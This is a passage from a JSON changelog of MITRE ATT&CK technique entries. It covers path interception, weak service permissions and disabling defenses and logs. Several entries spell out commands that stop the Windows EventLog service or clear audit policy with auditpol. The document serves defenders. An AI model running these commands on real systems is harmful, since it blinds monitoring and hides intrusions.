connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0564: Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 13:51:58.519000+00:00", + "modified": "2025-10-24 17:49:19.228000+00:00", + "name": "Path Interception by Unquoted Path", + "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/009", + "external_id": "T1574.009" + }, + { + "source_name": "Windows Privilege Escalation Guide", + "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", + "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/" + }, + { + "source_name": "Windows Unquoted Services", + "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", + "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/" + }, + { + "source_name": "Help eliminate unquoted path", + "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.", + "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464" + }, + { + "source_name": "Microsoft CurrentControlSet Services", + "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.228000+00:00\", \"old_value\": \"2025-04-15 22:56:46.356000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1038: Execution Prevention", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0064: Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-12 20:43:53.998000+00:00", + "modified": "2025-10-24 17:49:09.575000+00:00", + "name": "Services File Permissions Weakness", + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/010", + "external_id": "T1574.010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.575000+00:00\", \"old_value\": \"2025-04-25 14:47:32.419000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit", + "M1052: User Account Control" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0436: Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 20:22:13.470000+00:00", + "modified": "2025-10-24 17:48:41.123000+00:00", + "name": "Impair Defenses", + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562", + "external_id": "T1562" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + }, + { + "source_name": "Emotet shutdown", + "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.", + "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jamie Williams (U \u03c9 U), PANW Unit 42", + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network Devices", + "Identity Provider", + "Office Suite", + "ESXi" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Cloud Service: Cloud Service Disable\", \"Firewall: Firewall Rule Modification\", \"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Modification\", \"Windows Registry: Windows Registry Key Deletion\", \"Process: Process Termination\", \"Service: Service Metadata\", \"Process: Process Metadata\", \"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"File: File Deletion\", \"Sensor Health: Host Status\", \"Process: OS API Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Driver: Driver Load\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.123000+00:00\", \"old_value\": \"2025-04-15 19:58:24.596000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n\\nMonitor environment variables and APIs that can be leveraged to disable security measures.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n-\\n-Monitor environment variables and APIs that can be leveraged to disable security measures.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0009: Process (Process Modification)", + "DS0009: Process (Process Termination)", + "DS0012: Script (Script Execution)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Disable)", + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0317: Detection Strategy for Impair Defenses Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 20:46:36.688000+00:00", + "modified": "2025-10-24 17:48:45.425000+00:00", + "name": "Disable Windows Event Logging", + "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/002", + "external_id": "T1562.002" + }, + { + "source_name": "Disable_Win_Event_Logging", + "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.", + "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging" + }, + { + "source_name": "def_ev_win_event_logging", + "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.", + "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/" + }, + { + "source_name": "EventLog_Core_Technologies", + "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.", + "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/" + }, + { + "source_name": "Audit_Policy_Microsoft", + "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy" + }, + { + "source_name": "Windows Log Events", + "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.", + "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/" + }, + { + "source_name": "disable_win_evt_logging", + "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", + "url": "https://ptylu.github.io/content/report/report.html?report=25" + }, + { + "source_name": "auditpol", + "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol" + }, + { + "source_name": "winser19_file_overwrite_bug_twitter", + "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.", + "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040" + }, + { + "source_name": "T1562.002_redcanaryco", + "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.", + "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md" + }, + { + "source_name": "Advanced_sec_audit_policy_settings", + "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings" + }, + { + "source_name": "auditpol.exe_STRONTIC", + "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.", + "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html" + }, + { + "source_name": "evt_log_tampering", + "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.", + "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team", + "Lucas Heiligenstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Script: Script Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.425000+00:00\", \"old_value\": \"2025-04-16 20:37:17.061000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n\\nIn Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n\\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \\n-\\n-In Event Viewer, Event ID 1102 under the \\u201cSecurity\\u201d Windows Log and Event ID 104 under the \\u201cSystem\\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\\n-\\n-Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0012: Script (Script Execution)", + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0187: Detect disabled Windows event logging" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-24 16:55:46.243000+00:00", + "modified": "2025-10-24 17:48:58.515000+00:00", + "name": "Disable or Modify Cloud Firewall", + "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/007", + "external_id": "T1562.007" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Expel", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firewall: Firewall Disable\", \"Firewall: Firewall Rule Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.515000+00:00\", \"old_value\": \"2025-04-15 22:19:38.109000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor cloud logs for modification or creation of new security groups or firewall rules.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0424: Detection Strategy for Disable or Modify Cloud Firewall" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-12 13:52:32.846000+00:00", + "modified": "2025-10-24 17:49:23.308000+00:00", + "name": "Disable or Modify Cloud Logs", + "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/008", + "external_id": "T1562.008" + }, + { + "source_name": "Stopping CloudTrail from Sending Events to 